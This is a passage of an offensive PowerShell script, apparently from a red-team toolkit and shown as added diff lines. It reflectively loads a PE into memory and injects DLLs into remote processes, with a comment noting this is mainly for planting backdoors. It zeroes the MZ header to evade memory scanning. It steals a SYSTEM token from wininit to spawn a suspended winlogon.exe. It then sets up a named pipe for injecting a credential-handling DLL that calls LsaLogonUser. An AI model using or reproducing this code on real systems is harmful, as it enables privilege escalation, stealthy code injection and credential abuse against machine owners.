($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege + # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) + # { + # Write-Verbose "Getting SeDebugPrivilege" + # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + # } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main + } + + #Main function to either run the script locally or remotely + Function Main + { + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [Byte[]]$PEBytes = $null + + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + $PEBytes = $Bytes64 + } + else + { + $PEBytes = $Bytes32 + } + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } + } + + Main + } + + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + CREATE_SUSPENDED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $GetProcessIdAddr = Get-ProcAddress Kernel32.dll GetProcessId + $GetProcessIdDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $GetProcessId = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcessIdAddr, $GetProcessIdDelegate) + ############################### + + + #Get the primary token for the specified processId + #This function is taken from my script Invoke-TokenManipulation + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + #A modified version of this function from my script Invoke-TokenManipulation + #Creates the process suspended. Returns the ProcessID of the created process + function Create-SuspendedWinLogon + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken #The token to create the process with + ) + + $ProcessId = -1 + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$($env:windir)\system32\winlogon.exe") + + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, [IntPtr]::Zero, $Win32Constants.CREATE_SUSPENDED, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + + $ProcessId = $GetProcessId.Invoke($ProcessInfo.hProcess) + + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CreateProcessWithTokenW failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $ProcessId + } + } + + + #Get the SYSTEM token and create a winlogon process with it, returns the process ID of the new WinLogon process + function Create-WinLogonProcess + { + if ([Environment]::UserName -ine "SYSTEM") + { + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or $SystemTokenInfo.hProcToken -eq [IntPtr]::Zero) + { + Write-Warning "Unable to get SYSTEM token" + } + else + { + $ProcessId = Create-SuspendedWinLogon -hToken $SystemTokenInfo.hProcToken + if ($ProcessId -eq -1) + { + Throw "Unable to create suspended WinLogon process" + } + + Write-Verbose "Created suspended winlogon process. ProcessId: $ProcessId" + return $ProcessId + } + } + } + + + #Set up a named pipe to communicate with the injected DLL + function Create-NamedPipe + { + $PipeSecurity = new-object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "NT AUTHORITY\SYSTEM", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe=new-object System.IO.Pipes.NamedPipeServerStream("sqsvc","InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + return $Pipe + } + + + #Determine the parameterset being used to figure out if a new winlogon process needs to be created or not + if ($PsCmdlet.ParameterSetName -ieq "NewWinLogon") + { + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + Write-Error "NewWinLogon mode cannot be used when running in Session 0" -ErrorAction Stop + } + + #Start winlogon.exe as SYSTEM + $WinLogonProcessId = Create-WinLogonProcess + Write-Output "Created winlogon process to call LsaLogonUser in. Kill ProcessID $WinLogonProcessId when done impersonating." + Write-Output "Execute: Stop-Process $WinLogonProcessId -force" + } + elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon") + { + $WinLogonProcessId = (Get-Process -Name "winlogon"| Select-Object -first 1).Id + } + + #Get a ushort representing the logontype + [Byte]$LogonTypeNum = 0x0 + switch ($LogonType) + { + "Interactive" {$LogonTypeNum = 2} + "NetworkCleartext" {$LogonTypeNum = 8} + "RemoteInteractive" {$LogonTypeNum = 10} + } + + $AuthPackageNum = 0 + #Get a ushort representing the authentication package to use + switch ($AuthPackage) + { + "Msv1_0" {$AuthPackageNum = 1} + "Kerberos" {$AuthPackageNum = 2} + } + + + #Main + try + { + $Pipe = Create-NamedPipe + + #Reflectively inject a DLL in to the new winlogon process which will receive credentials and call LsaLogonUser from within winlogon.exe + $Logon32Bit_Base64 = 